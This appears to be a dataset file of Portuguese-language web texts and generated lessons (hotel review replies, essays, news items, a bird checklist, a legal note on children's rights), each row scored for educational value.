+"Prezado Marcos, bom dia! Obrigada pela ótima avaliação do nosso hotel! Ficamos felizes que tenha tido uma boa experiência. Esperamos revê-lo novamente em breve. Atenciosamente, Paula Peissner Gerente Geral Novotel São Paulo Berrini
+Prezado Cassio, bom dia! Obrigada pela ótima avaliação do nosso hotel! Ficamos felizes que tenha tido uma boa experiência. Esperamos revê-lo novamente em breve. Atenciosamente, Paula Peissner Gerente Geral Novotel São Paulo Berrini
+Prezada Mariana, bom dia! Obrigada pela ótima avaliação do nosso hotel! Ficamos felizes que tenha tido uma boa experiência. Esperamos revê-la novamente em breve. Atenciosamente, Paula Peissner Gerente Geral Novotel São Paulo Berrini
+Prezado Alceu, bom dia! Agradeço muito pelos comentários sobre sua hospedagem no Novotel São Paulo Berrini Seus comentários serão compartilhados com a nossa equipe. Tenho certeza de que este feedback servirá como incentivo no nosso objetivo de aprimorar continuamente a qualidade de nossos serviços. Obrigada mais uma vez por compartilhar a sua experiência e espero revê-lo em breve no Novotel São Paulo Berrini. Atenciosamente, Paula Peissner Gerente Geral Novotel São Paulo Berrini
+Prezado Guilherme, bom dia! Agradeço muito pelos comentários sobre sua hospedagem no Novotel São Paulo Berrini e compreensão com os nossos serviços nessa fase inicial. Conforme conversamos estamos lidando diariamente com as questões mencionadas com objetivo de melhorar sempre a experiência dos nossos hóspedes. Obrigada mais uma vez pelo feedback. Até uma ´próxima. Atenciosamente, Paula Peissner Gerente Geral Novotel São Paulo Berrini
+Prezado Caio, boa tarde! Agradeço muito pelos comentários sobre sua hospedagem no Novotel São Paulo Berrini Seus comentários serão compartilhados com a nossa equipe. Tenho certeza de que este feedback servirá como incentivo no nosso objetivo de aprimorar continuamente a qualidade de nossos serviços. Obrigada mais uma vez por compartilhar a sua experiência e espero revê-lo em breve no Novotel São Paulo Berrini. Atenciosamente, Paula Peissner Gerente Geral Novotel São Paulo Berrini",original,original,original,original,0,0.0
+"Matérias: Meninos vestem azul e meninas vestem rosa!
+Então, meninos e meninas, já sabemos que a sociedade em qual vivemos molda nossos valores não é mesmo? E sabemos também que esses valores são arcaicos, burgueses e extremamente cristãos.
+Então meus caros, para essa sociedade, pessoas que tem opiniões diferentes, sendo elas gays, lésbicas, bissexuais, ou até mesmo heteros incompreendidos, temos também nesse grande miscelânea humana, judeus, pagãos, comunistas, socialistas, punks, músicos, poetas, artistas, mulheres que não aceitam o machismo (como por exemplo uma menina que transa pela 1º vez com 15 anos é a vergonha dos pais, agora um menino que transa com 15 é o orgulho), entre outras pessoas, seres humanos descriminados nesse grande show... No caso para alguns seria um show de horrores.
+Mas, por que devemos aceitar isso? Somos humanos, pessoas como todos os outros, sentimos dor, raiva, amor, sede, fome, orgulho, compaixão, afeto, e isso não muda de humano para humano, apenas pelo simples fato de sexo, cor, raça ou crença.
+A sociedade em que vivemos possui uma grande variedade de pessoas. E pensar que guerras, ódio, maldade começam por um simples componente de uma pessoa fora do padrão.
+Será que realmente existe tanto motivo para incompreensão da raça humana? E também digo e repito: hipócrita aquele que é julgado pela sua opção e ainda julga os outros pela mesma.
+Vamos tentar mudar esse mundo, vamos tentar mudas pensamentos arcaicos, fico imaginando... Li numa matéria em que no futuro as pessoas serão bissexuais e andróginas (será que seremos como David Bowie? Temos que por um toque de humor nisso tudo meus caros!) e as pessoas hoje em dia, tem repugnância pelas pessoas bissexuais, e o futuro meus caros, se a matéria que eu tinha lido tiver acertado, ele bate na nossa porta... E falo ainda algo, por que esperar o futuro todas as pessoas compreenderem enquanto podemos acabar com esse tal de preconceito agora?
+Então meus caros leitores, espero que depois de terminarem de ler isso agora, levantem da cadeira do computador e vá mudar algo, vá opinar, vá lutar pelos seus direitos, pois a mudança se faz lá fora, na rua!. Por: Lucas Magno",original,original,original,original,2,0.4
+"Em seu monumental livro “Ortodoxia”, G. K. Chesterton narra um episódio interessante a partir do qual faz toda uma crítica à filosofia e ao mundo moderno. Entendo que tal crítica é essencial para conhecermos o porquê de tantas e tantas loucuras que nos cercam. Para que o leitor possa, ele mesmo, ter acesso a essa pérola, entendo por bem colacionar a íntegra do texto a que me referi:
+“Se você discutir com um louco, é extremamente provável que leve a pior; pois sob muitos aspectos a mente dele se move muito mais rápido por não se atrapalhar com coisas que costumam acompanhar o bom juízo. Ele não é embaraçado pelo senso de humor ou pela caridade, ou pelas tolas certezas da experiência. Ele é muito mais lógico por perder certos afetos da sanidade. De fato, a explicação comum para a insanidade nesse respeito é enganadora. O louco não é um homem que perdeu a razão. O louco é um homem que perdeu tudo exceto a razão.”[1]
+A crítica é de uma sagacidade e de uma profundidade que somente um Chesterton poderia atingir.
+Em geral, tem-se a impressão de que um louco (ou, ao menos, aquele louco típico, que julga ser Napoleão ou Cleópatra) é um sujeito que perdeu a razão. Chesterton, num de seus paradoxos geniais, sustenta que tal louco, ao contrário, não é alguém que perdeu a razão (debater com um sujeito desses na tentativa de convencê-lo não ser Napoleão é tarefa que nem Sócrates conseguiria levar a bom termo), mas, em suma, alguém que perdeu coisa diversa. O louco é alguém que perdeu o contato com realidade, ficando apenas com sua razão girando num mundo que somente existe dentro de sua mente.
+A crítica às filosofias modernas contida nesse pequeno trecho de Chesterton é devastadora. Ao menos desde Kant, o Ocidente tem virado as costas para a realidade das coisas. O homem ocidental tem, cada vez mais, apegado-se a teorias (e, nos tempos modernos, a ideologias), sem preocupar-se minimamente em confrontá-la com a realidade no intuito de observar se essa a sustenta e a confirma. O ocidental contemporâneo é como o Napoleão do hospício mais próximo, comprazendo-se em traçar estratégias para a Batalha de Waterloo sem ao menos perguntar se existe uma batalha concreta em vias de ser travada.
+O fenômeno (como já assinalamos), não é novo. Já no século XVIII, ele estava presente e deixava boquiaberto qualquer um que se dispusesse a analisá-lo. A charge acima exposta (“French Liberty, British Slavery”) é de James Gillray, um britânico que fez um enorme sucesso com suas charges e que viveu entre os Anos da Graça de 1.756 e 1.815. Conta-se que ser desenhado por ele (ainda que em situações ridículas), era atestado de relevância pública, razão pela qual ninguém se importava com o fato de ser ridicularizado em suas charges. E, como, por definição, uma charge é uma crítica bem humorada da realidade, um chargista é necessariamente alguém vacinado (em algum grau, ao menos) contra a alienação dessa mesma realidade que os sistemas de pensamento moderno visam impor.
+Na charge em questão, temos à esquerda, um francês esfarrapado. Come cebolas murchas. Sua casa é paupérrima e mal consegue ele manter vivo o fogo da lareira. Vive num país que enfrentava uma revolução (a “gloriosíssima” Revolução Francesa) e que se afundara na miséria justamente devido aos desmandos e à insanidade dos revolucionários.
+À direita, temos um britânico gorducho. Está a se banquetear. O único problema de sua vida, aparentemente, é o excesso de bens que o cercam. Vive num país de prosperidade econômica e de liberdade de pensamento.
+No entanto, o esfarrapado afirma viver numa terra que mana leite e mel (“Oh! Santo Deus! Abençoada seja a Liberdade. Viva a Assembleia! – sem impostos! nem escravidão!- todos os cidadãos livres. Ah, ah! Deus, como vivemos bem! Nadamos em leite e mel”[2]), enquanto que o gorducho crê piamente que seu governo o está matando de fome (“Ah! Esse maldito governo! Eles vão nos arruinar com seus malditos impostos! Por que, oh Deus, querem nos fazer de escravos e matar-nos ...",original,original,original,original,3,0.6
+"rp_ignorancia
+Não ter ciência. Expressão: Não saber da missa a metade.
+A ignorância está à raiz de muitos preconceitos. Percebe-se em boa parte do clero uma ignorância a respeito da religiosidade popular e do seu significado na vida dos pobres. Disse uma agente de pastoral (M.L.Barbosa) num desabafo: ""Quantas vezes consideramos certo só o que nós sabemos e ignoramos as outras culturas, as pessoas simples que nunca estudaram mas são capazes de viverem seus valores e são bem aceitos por Deus que é o único Pai de todos."" (Agudos SP, 2005)
+Ignorância dos mistérios de Deus. Esperando a chuva o pobre penitente afirma: não entendo os segredos de Deus.
+Certamente não é por querer que o povo não conhece o funcionamento das organizações que lhe garantem os direitos humanos.
+Por causa da má política de educação continua grande o número de analfabetos. Mas, baixa escolaridade não é ignorância. Analfabetismo e ignorância não são sinônimos. A consciência do seu pouco saber é virtude de muitos populares. A própria vida ensina muita coisa ao homem pobre e lutador, sobretudo a sabedoria. A desinformação é prejuízo. Talvez o povo saiba pouco da geografia e da história do mundo ou da igreja. Mas não subestimemos a influência da televisão.
+Enquanto políticos, professores e padres facilmente chamam o povo de ignorante, Paulo Freire alerta para a alienação da ignorância: ""Na visão 'bancária' da educação, o ‘saber’ é uma doação dos que se julgam sábios aos que julgam nada saber. Doação que se funda numa das manifestações instrumentais da ideologia da opressão, a absolutização da ignorância, que constitui o que chamamos de alienação da ignorância, segundo a qual esta se encontra sempre no outro. O educador que aliena a ignorância, se mantém em posições fixas, invariáveis. Será sempre o que sabe, enquanto os educandos serão sempre os que nada sabem. (...) Reconhece, na absolutização da ignorância daqueles a razão de sua existência”.[1]
+Partir para a ignorância, usar da violência. Na canção das CEBs (BA) ""Ladrão de Gado"": Os tais fazendeiros já desesperados,/ pois eles sabiam que iam perder,/ então apelaram para a ignorância/ para fazer vingança, matar ou morrer.
+[1] FREIRE, Paulo. Pedagogia do Oprimido. 8ªEd. Rio de Janeiro, Paz e Terra, 1980. p.67",original,original,original,original,3,0.6
+"Comunidade Gomorra: “A SEPARAÇÃO ERA INEVITÁVEL: A COZINHA FALOU MAIS ALTO QUE O CUZINHO!” (risos)
+Postado por Gomorra às 05:48",original,original,original,original,0,0.0
+"Personalizar Almofada
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+Qual o valor dos produtos?
+Os produtos tem valores variados. Consulte nossa página de vendas. Clique AQUI para ser direcionado.
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+O prazo pode variar mediante o local da entrega e condições da transportadora.
+Qual a diferença do quadro Canvas Moldura + Vidro?
+O modelo Canvas é uma tela para ser emoldurada, Impressa em tecido de algodão e esticada em um chassi de madeira. O Moldura e Vidro é um modelo já emoldurado, com uma tela de vidro e fundo de MDF. Consulte os tamanhos disponíveis.
+Aceitamos todas as formas de pagamento online. O Mercado Pago garante a segurança da transação.
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+Os Correios não entrega no meu CEP
+A entrega da encomenda em área rural ou de risco é realizada exclusivamente na agência dos Correios mais próxima do endereço do destinatário, que receberá um aviso em seu endereço. Em alguns casos os Correios não enviam o aviso de chegada, por isso é muito importante rastrear seu pedido periodicamente.
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+"Rec-Beat Apresenta acontece em Olinda e João Pessoa e traz O Terno, Amaro Freitas e Arrete - Revista O Grito! — Cultura pop, cena independente, música, quadrinhos e cinema
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+Rec-Beat Apresenta acontece em Olinda e João Pessoa e traz O Terno, Amaro Freitas e Arrete
+Por Equipe O Grito!
+13 de fevereiro de 2017, 07:03
+Amaro Freitas, nome da renovação do jazz e frevo, estará no Rec-Beat Apresenta. (Foto: Rafa Medeiros).
+O Rec-Beat Apresenta, ação paralela do festival, traz novas apostas da cena nacional em shows que acontecem em Olinda, no próximo sábado (18) e em João Pessoa no dia 24 deste mês.
+Em Olinda o Rec-Beat Apresenta acontece na Casa do Cachorro Preto e traz como apostas Amaro Freitas, Márcio Oliveira e o grupo feminino Arrete. O pianista Amaro Freitas lançou no final do ano passado o elogiadíssimo álbum de estreia Sangue Negro e abre a noite com seu trabalho autoral que transita pelo jazz , bebop, afrojazz, samba e frevo. O trabalho dele entrou na nossa lista de melhores discos de 2016.
+Na sequência vem Márcio Oliveira, que se dedica ao trompete desde os doze anos de idade e já passou por inúmeros projetos relevantes, como a Orquestra Popular do Recife. Para o “Rec-Beat Apresenta” Márcio traz o resultado do álbum Encabeçando, lançado em 2015, onde ele explora toda a diversidade e linguagem da música afro-brasileira.
+Já o Arrete, formado pelas Mcs Ya Juste, Nina Rodrigues e Weedja Lins e a Bgirl Duda Serafim, trazem músicas que estarão no disco de estreia, ainda inédito.
+Na abertura, intervalos entre as bandas e para encerrar a noite, a Casa do Cachorro Preto recebe o DJ Rimas.INC, que envereda pela música pop e eletrônica e traz no set um mix com suas próprias faixas produzidas a partir de mashups, bootlegs e reworks, indo do coco ao moombahton, da embolada ao raggamuffin, do baião a cumbia, do forró a música balkan.
+Em João Pessoa, na sexta-feira de Carnaval, o Rec-Beat Apresenta leva à capital paraibana, apostas e um pouco do lineup do Festival. O Centro Cultural Piollin receberá O Terno, Negros de Harvar, ÀTTØØXXÁ, Seu Pereira, Dj Dolores e a DJ Sarah Blackbird.
+O Rec-Beat Apresenta em Olinda tem entrada gratuita. Em João Pessoa a entrada custa R$ 20, à venda na plataforma Sympla.
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+Perfil da equipe da Revista O Grito, atualizado pelos editores, repórteres e colaboradores.
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+"Já parou para pensar em como as histórias nos transportam para outros mundos, nos fazem rir, chorar e refletir? Tudo isso acontece por causa da escrita, uma ferramenta poderosa que todos nós podemos dominar! Escrever bem não é um dom, mas sim uma habilidade que se desenvolve com prática e conhecimento. E este artigo é o seu guia para essa jornada!
+
+Imagine que você quer contar para um amigo sobre suas férias incríveis. Você pode simplesmente dizer: ""Foi legal!"". Mas que tal usar as palavras para pintar um quadro na mente dele? Você poderia descrever a cor do mar, o cheiro das flores, o sabor da comida e as pessoas que você conheceu. Ao fazer isso, você transforma um simples relato em uma experiência vívida e inesquecível.
+
+A produção textual nada mais é do que a arte de organizar suas ideias e transformá-las em palavras que façam sentido para o leitor. Para começar, é fundamental ter clareza sobre o que você quer dizer. Qual é o seu objetivo? Qual mensagem você quer transmitir? Depois, pense em quem é o seu público. Você escreveria da mesma forma para um amigo e para um professor? Adaptar a linguagem é essencial.
+
+Um bom texto precisa ter uma estrutura bem definida: introdução, desenvolvimento e conclusão. Na introdução, você apresenta o tema e desperta o interesse do leitor. No desenvolvimento, você explora suas ideias, oferece exemplos e argumentos. E na conclusão, você resume o que foi dito e deixa uma mensagem final. Pense como se estivesse construindo uma casa: a introdução é a base, o desenvolvimento são as paredes e o telhado, e a conclusão é o toque final que dá beleza e harmonia à construção.
+
+Para deixar seus textos ainda mais interessantes, experimente usar diferentes recursos da língua portuguesa. Varie o vocabulário, explore as figuras de linguagem (como metáforas e comparações) e use a pontuação de forma criativa. Mas lembre-se: o mais importante é ser claro e objetivo. Não adianta usar palavras difíceis se o leitor não entender o que você quer dizer.
+
+Por fim, pratique! Quanto mais você escrever, melhor você ficará. Comece com textos curtos, como mensagens para amigos ou posts em redes sociais. Depois, aventure-se em textos mais longos, como contos, poemas ou artigos de opinião. E não tenha medo de errar! A escrita é um processo de aprendizado contínuo. Com dedicação e perseverança, você pode se tornar um escritor incrível e expressar suas ideias de forma clara, criativa e impactante. E agora, que tal colocar a mão na massa e começar a escrever? Sobre o que você gostaria de escrever hoje? Que história você quer contar ao mundo?",Português,Produção textual,anos finais (6º ao 9º ano),"O trecho possui alto valor educacional. Apresenta informações básicas sobre escrita e produção textual (1 ponto). Aborda elementos da educação, como a importância da clareza e adaptação da linguagem, embora não esteja estritamente alinhado aos parâmetros curriculares (mais 1 ponto). Introduz conceitos importantes, como a estrutura de um texto (introdução, desenvolvimento, conclusão), de forma coerente (mais 1 ponto). O texto é claro e consistente, com exemplos práticos e adequados para o ensino fundamental (mais 1 ponto). Apresenta raciocínio detalhado e insights sobre a escrita, sem conteúdo complexo, incentivando a prática e o desenvolvimento da habilidade (mais 1 ponto).",5,1.0
+"Estudo: O fungo cítrico responsável pela extinção de ... - Notícias - Naturlink
+Estudo: O fungo cítr...
+Estudo: O fungo cítrico responsável pela extinção de dezenas de populações de anfíbios foi propagado pelo comércio de animais Filipa Alves (08-11-2011)
+Esta é uma das conclusões de um estudo recentemente publicado que sugere que o comércio de espécies exóticas como animais de estimação ou de Zoo e a importação de rãs africanas para a América do Norte e Europa para utilização no fabrico de testes de gravidez, constituem as duas vias mais prováveis da disseminação da quitidriomicose, que é um fenómeno do séc. XX.
+O combate à extinção de espécies de animais e plantas baseia-se no conhecimento profundo dos factores de ameaça que estão na origem do seu declínio populacional.
+Neste sentido, são de extrema importância os resultados de um estudo recentemente publicado na revista Proceedings of the National Academy of Sciences que, através da análise global do genoma de amostras do fungo cítrico obtidas de várias espécies de anfíbios de 20 zonas distintas, procurou perceber como o fungo se tornou uma ameaça tão letal para estes vertebrados.
+Este fungo, que terá tido origem em África, está actualmente disperso por todo o mundo e está a dizimar as populações de anfíbios a nível global, estando inclusive na origem da extinção de dezenas de espécies desta classe de vertebrados.
+O trabalho de investigação recém-publicado foi levado a cabo por cientistas do Imperial College de Londres (Reino Unido) e analisou amostras de anfíbios provenientes da América do Norte, América Central, Caraíbas, Europa e África do Sul tendo revelado que existem 3 linhagens distintas do fungo cítrico, que causa a quitridiomicose.
+Duas das linhagens têm uma distribuição restrita – a BdCH surgiu em amostras provenientes da Suíça, ao passo que a BdCAPE revelou estar presente em amostras vindas da província do Cabo (África do Sul) e na ilha balear de Malhorca (Espanha).
+A terceira forma - BdGPL – que ocorre de forma generalizada, é a mais letal e terá, muito provavelmente, surgido da cruzamento de uma combinação letal de outras formas ancestrais do fungo.
+Os cientistas concluíram também que este processo terá ocorrido no séc. XX, coincidindo a “explosão” do comércio de anfíbios, que aparece, assim, como a hipótese explicativa mais provável da disseminação da doença, quer tenha sido através da compra e venda de espécies exóticas como animais de estimação ou de Zoo, quer através da importação de rãs africanas para a América do Norte e Europa, tendo como fim a produção de testes de gravidez.
+Os cientistas esperam que os resultados deste estudo possam também ser importantes para encontrar uma forma directa de anular a letalidade do fungo cítrico, através da identificação das formas menos virulenteas que possam ser utilizadas numa “vacina”, para aumentar a resistência dos animais à doença.
+Revelado o mecanismo de actuação de fungo que ameaça populações de anfíbios
+O herbicida mais utilizado a nível mundial pode estar a contribuir para o declínio dos Anfíbios",original,original,original,original,4,0.8
+"Projeto Ave Missões: Pesquisa, Educação Ambiental e Conservação com Aves da Região Noroeste do Rio Grande do Sul
+segunda-feira, 6 de janeiro de 2020
+Lista Comentada das Aves de Santo Ângelo (2019)
+* por Dante Andres Meller
+O município de Santo Ângelo situa-se no noroeste do estado do Rio Grande do Sul, na Região das Missões, sendo popularmente denominado de a Capital das Missões. Possui área de 68.013 ha em seu território, inserida no limite sul do bioma Mata Atlântica, na região fitoecológica Floresta Estacional Decidual, onde a formação Aluvial corresponde às matas ciliares e a formação Submontana aos terrenos dissecados ao norte do rio Ijuí. Parte da área é caracterizada como Área de Tensão Ecológica, disposta numa transição entre as regiões fitoecológicas da Floresta Estacional Decidual e da Savana (Pastore e Rangel Filho 1986, Teixeira e Coura Neto 1986). Essa transição, no entanto, não constitui um ecótono e sim um encrave, pois a flora de cada região guarda sua identidade ecológica, sem misturar-se (Marchiori 2002). O contexto hidrográfico do município é bastante privilegiado, tendo grandes rios em sua área, dentre os quais o Ijuí representa o limite sul do município e o Comandaí, o norte.
+Localização de Santo Ângelo, Missões, RS, Brasil. Números correspondem às principais localidades de observação de aves do Grupo Ave Missões: 1 – Cascata do Comandaí; 2 – Granja do Sossego; 3 – Cemitério Parque Jardim da Paz; 4 – Seminário Sagrada Família; 5 – Parque Natural Municipal; 6 – Rancho LM; 7 – Sítio Água Doce; 8 - Banhado do Santa Tereza; 9 - Mata da Buriti; 10 - Mata da Atafona.
+Nessa atualização anual referente a 2019, o município de Santo Ângelo totalizou 301 espécies de aves em sua lista. A agregação desse resultado é referente a 10 anos de observações contínuas de integrantes do grupo Ave Missões, somadas aos esforços iniciais do ornitólogo William Belton, quem primeiro mencionou o município na literatura, e de outros observadores de aves que têm visitado o município recentemente e têm compartilhado seus registros sobretudo na plataforma Wikiaves. Em termos de riqueza, é um número bastante expressivo, representado mais de 40% das 704 espécies mencionadas para o estado do Rio Grande do Sul (Franz et al. 2018) e 15% das 1919 registradas no Brasil (Piacentini et al. 2015).
+Belton (1994) indica, em seus mapas de distribuição, 146 espécies de aves para este município. Destas, somente 3 não foram vistas atualmente, sendo que, segundo o mesmo autor, essas teriam distribuição marginal ao município. Heliobletus contaminatus foi equivocadamente adicionada em Meller (2011) e, portanto, removida da lista. Um número bastante expressivo de 155 espécies adicionais à lista de Belton são acrescentadas para a avifauna de Santo Ângelo. A média de inclusões à lista do município, no site WikiAves, é de cerca de 13,4 ao ano, com um pico de adições nos anos de 2011 e 2012.
+Curva cumulativa dos registros documentados no site WikiAves para o município de Santo Ângelo adicionais às inclusões de Belton (1994). Notar que 7 espécies adicionais à lista de Belton (1994) carecem de documentação no WA (ver texto abaixo).
+Inclusões para o ano de 2019 foram bem significativas, representadas por 12 espécies novas para o município, sendo 10 delas documentadas por fotografias (maguari, mocho-diabo, beija-flor-tesoura, araçari-castanho, patinho, catatau, sabiá-gongá, saíra-de-chapéu-preto, caboclinho-de-barriga-vermelha e caboclinho-de-chapéu-cinzento) e outras duas adicionadas através de avistamentos (cambacica e caboclinho-de-papo-branco).
+Maguari (Ciconia maguari) e Mocho-diabo (Asio stygius). Fotos: DAM.
+Beija-flor-tesoura (Eupetomena macroura) e araçari-castanho (Pteroglossus castanotis). Fotos: Peter Aguiar e Alfieri Callegaro.
+Patinho (Platyrinchus mystaceus) e catatau (Campylorhyncus turdinus). Fotos: DAM.
+Sabiá-gongá (Saltator coerulescens) e saíra-de-chapéu-preto (Nemosia pileata). Fotos: DAM.
+Caboclinho-de-barriga-vermelha (Sporophila hypoxantha) ...",original,original,original,original,3,0.6
+"A Leap Motion é a empresa responsável por alguns dos sensores de movimentos mais promissores dos últimos anos. Mas se você achava que poucas empresas iriam apostar na tecnologia que envolve hardware de qualidade e software de controle, está muito enganado. Depois de a ASUS confirmar parceria com a empresa, agora é a vez de a HP revelar que vai aplicar os controles por gestos em seus computadores.
+Com a parceria, notebooks e desktops da HP poderão ser controlados por movimentos tridimensionais (pois também serão reconhecidos os gestos em profundidade). Até o momento não foram revelados quais serão os aparelhos específicos a receberem a tecnologia de controle por gestos, mas há rumores de que existem planos para a apresentação de aparelhos ainda neste ano.
+Ao contrário dos sensores apresentados até agora, este não será externo. O que a HP e a Leap Motion planejam é fazer com que os computadores tenham equipamentos integrados ao design deles. Dessa forma, funcionariam de uma maneira similar às webcams de notebooks, que ficam camufladas nos equipamentos.
+Segundo a Leap Motion, os sensores que serão empregados nas máquinas da HP podem reconhecer até dez dedos e capturar até 290 frames por segundo. Além de computadores, a Leap Motion já deixou claro que planeja ir muito além no mercado. Recentemente, a empresa revelou que quer levar a tecnologia de controle por gestos para relógios, smartphones, televisores e outros aparelhos eletrônicos.",original,original,original,original,3,0.6
+"PARTE I – CONSIDERAÇÕES GERAIS | Cadernos de Sociomuseologia
+1. Estrutura da dissertação
+3.1 Perguntas de partida:
+4. Problemática a esclarecer
+2. A relevância do estudo
+1. O paradoxo do termo avaliação em museus um problema da maior relevância para a museologia contemporânea
+2. Os indicadores
+2.1. Descritores / indicadores
+RESUMO: Os estudos exploratórios que apresentamos foram suscitados pela experiência de coordenação da candidatura que integrou a avaliação dos serviços educativos dos museus municipais de Setúbal, com base na CAFCommom Assessment Framework (Estrutura Comum de Avaliação), no âmbito do IV prémio da qualidade de serviço público, promovido pela AMDS, em 2003. Este exercicio, experiência piloto em museus, revelou-nos as potencialidades autoavaliativas da ferramenta de utilizada (CAF) e sobretudo inquietou-nos relativamente à forma, por vezes distorcida e/ou desfocada, como avaliamos e como projectamos subjectivamente nas missões, por falta de instrumentos rigorosos e adequados, aquilo que julgamos corresponder à satisfação das pessoas dentro e fora da organização museu. Pensar e avaliar os museus na óptica dos processos, medir objectivamente o impacto destes na sociedade com base na recolha partilhada e intencional das evidências e comparar, com base em critérios, os resultados obtidos com os de outras organizações, recorrendo a uma linguagem comum contribuirá, estamos em crer, para o autoconhecimento dos museus enquanto organizações e o crescente reconhecimento do seu papel nas sociedades contemporâneas. A possibilidade de discernir, em conjunto, sobre noções de qualidade em museus e de implicar as organizações museológicas na melhoria contínua dos serviços em ordem à real satisfação das necessidades, explícitas ou implícitas, dos cidadãos-clientes, incluindo nesses processos as próprias pessoas dessas organizações (os funcionários, colaboradores e parceiros dos museus), é uma perspectiva inovadora que poderá, a nosso ver, ajudar a distinguir entre museus com qualidades e o sentido global da qualidade em museus, recorrendo a formas alternativas de avaliação e autoavaliação.
+VICTOR, Isabel. PARTE I – CONSIDERAÇÕES GERAIS. Cadernos de Sociomuseologia, [S.l.], v. 23, n. 23, june 2009. ISSN 1646-3714. Disponível em: <https://revistas.ulusofona.pt/index.php/cadernosociomuseologia/article/view/399>. Acesso em: 24 oct. 2019.",original,original,original,original,2,0.4
+"Nasceu em 1957, Lobito, Angola, reside em Lisboa desde os 9 anos de idade. Viveu e teve atelier no Bairro do Pigalle em Paris, tendo passado longos períodos de criação, estudo e convívio em Milão, Hanôver, Moscovo e Madrid. Fundador com outros prestigiados homens da cultura, das Escolas Artísticas “Pontos de Cultura” no Brasil, a convite do então Ministro da Cultura, Músico Gilberto Gil e do Professor Alípio de Freitas, existindo cerca de 3.000. Trabalhou com o prestigiado escultor Cardenas restaurador do Brooklyn Museum em New York. Realizou mais de duas centenas de exposições nacionais e internacionais, tendo aí sido atribuído vários prémios. Realizador de cinema de animação, no canal televisivo SIC. Curador de exposição lusófonas de artes plásticas na UCCLA (União das Cidades Capitais de Língua Portuguesa).
+A sua obra plástica reparte-se por várias modalidades. Quando jovem, no tempo da ditadura governamental em Portugal, dedicou-se á pintura realista com murais pintados na via pública, retratando a luta de classes e o colonialismo.",original,original,original,original,2,0.4
+"Fabricado com nylon estonado, as alças são de PP 25mm e fechos de nylon. Possui 3 bolsos, a personalização é em bordado..
+Fabricado com nylon estonado, as alças são de PP 25mm e fechos de nylon. Possui 3 bolsos, a personalização é em bordado.",original,original,original,original,0,0.0
+"Olá, pequenos exploradores! Já pararam para pensar em como medimos as coisas ao nosso redor? Medir é super importante para sabermos o tamanho, o peso, a distância e muitas outras coisas! Imagine que você quer construir uma cabana incrível no seu quarto. Como você vai saber se a cabana vai caber? Medindo, é claro! Usamos a régua, a fita métrica ou até mesmo nossos passos para descobrir o tamanho das coisas. No dia a dia, usamos medidas o tempo todo. Quando vamos comprar pão, pedimos por peso: ""Me veja 200 gramas de pão, por favor!"". Quando marcamos um encontro com os amigos, combinamos o horário: ""Vamos brincar às 3 horas da tarde!"". E quando vamos viajar, queremos saber a distância até o destino: ""Faltam 100 quilômetros para chegarmos à praia!"".
+
+Existem diferentes formas de medir, e cada uma delas serve para uma coisa. Para medir o comprimento, usamos metros, centímetros e milímetros. Um metro é mais ou menos o tamanho de um passo grande de um adulto. Um centímetro é bem pequenininho, mais ou menos a largura do seu dedo mindinho. E um milímetro é ainda menor, tão pequeno que quase não dá para ver! Para medir o peso, usamos quilogramas e gramas. Um quilograma é o peso de um pacote grande de arroz. Uma grama é bem leve, como uma pena de passarinho. Já para medir o tempo, usamos segundos, minutos e horas. Um segundo passa rapidinho, é só piscar o olho. Um minuto tem 60 segundos, e uma hora tem 60 minutos. E para medir a quantidade de líquido, usamos litros e mililitros. Um litro é o que cabe em uma garrafa grande de água. Um mililitro é bem pouquinho, como algumas gotas de remédio.
+
+Agora, que tal praticarmos um pouco? Pegue uma régua e meça o seu caderno. Quantos centímetros ele tem de largura? E de comprimento? Depois, peça para um adulto te ajudar a pesar uma fruta na balança. Quantas gramas ela pesa? Percebe como as medidas estão presentes em tudo o que fazemos? Elas nos ajudam a organizar o mundo e a entender melhor as coisas ao nosso redor. Então, da próxima vez que você estiver brincando, cozinhando ou mesmo indo para a escola, preste atenção nas medidas. Você vai se surpreender com quantas coisas podem ser medidas!",Matemática,Medidas e grandezas,anos iniciais (1º ao 5º ano),"O trecho apresenta alto valor educacional, introduzindo o conceito de medição de forma lúdica e contextualizada para o público infantil. Explica diferentes unidades de medida (comprimento, peso, tempo, volume) com exemplos práticos e relacionáveis ao dia a dia das crianças. Incentiva a experimentação e a observação, promovendo a compreensão da importância das medidas no mundo ao redor. O texto é claro, conciso e adequado para os anos iniciais do ensino fundamental, abordando conceitos relevantes do currículo.",5,1.0
+"Recolhimento e Internação Compulsórios de Crianças e Adolescentes em Situação de Rua e Usuários de Drogas
+O CONANDA – Conselho Nacional dos Direitos da Criança e do Adolescente, órgão deliberativo do sistema de garantia de direitos da criança e do adolescente no Brasil, criado pela Lei 8.069, Estatuto da Criança e do Adolescente, na forma do art. 227 da Constituição Federal, e composto, paritariamente, por membros do governo e da sociedade civil organizada, cuja missão é a garantia e a defesa dos direitos humanos de crianças e adolescentes, em razão da publicação e implementação da resolução nº 20/2011 da Secretaria Municipal de Assistência Social do Rio de Janeiro, de 27/05/2011, intitulada Protocolo de Abordagem à Pessoa em Situação de Rua, no uso das atribuições que lhe conferem a Constituição e a Lei 8.069/90, se manifesta pela presente nota técnica:
+A Convenção Internacional Sobre os Direitos da Criança, aprovada pela Assembléia Geral da Organização das Nações Unidas em 1989, no que tange ao direito à saúde, dispõe:
+Art. 24.1 – “Os Estados Partes reconhecem o direito da criança de gozar do melhor padrão possível de saúde e dos serviços destinados ao tratamento das doenças e à recuperação da saúde. Os Estados Partes envidarão esforços no sentido de assegurar que nenhuma criança se veja privada de seu direito de usufruir desses serviços sanitários.”
+Da mesma forma, em seu artigo 37, b, a Convenção Internacional Sobre os Direitos da Criança assegura que nenhuma criança ou adolescente será privado de sua liberdade de forma ilegal ou arbitrária, configurando este um direito fundamental das crianças e adolescentes, senão vejamos:
+Art. 37.b – “nenhuma criança seja privada de sua liberdade de forma ilegal ou arbitrária. A detenção, a reclusão ou a prisão de uma criança será efetuada em conformidade com a lei e apenas como último recurso, e durante o mais breve período de tempo que for apropriado;
+Já a Constituição da República Federativa do Brasil, em seu artigo 5º, incisos LIV, LXI, dispõe sobre os direitos e garantias individuais de todos os cidadãos, dentre os quais destaca-se a liberdade ambulatorial:
+Art. 5º. “LIV - ninguém será privado da liberdade ou de seus bens sem o devido processo legal;”
+Art. 5º. “LXI - ninguém será preso senão em flagrante delito ou por ordem escrita e fundamentada de autoridade judiciária competente, salvo nos casos de transgressão militar ou crime propriamente militar, definidos em lei;”(GRIFOS NOSSOS)
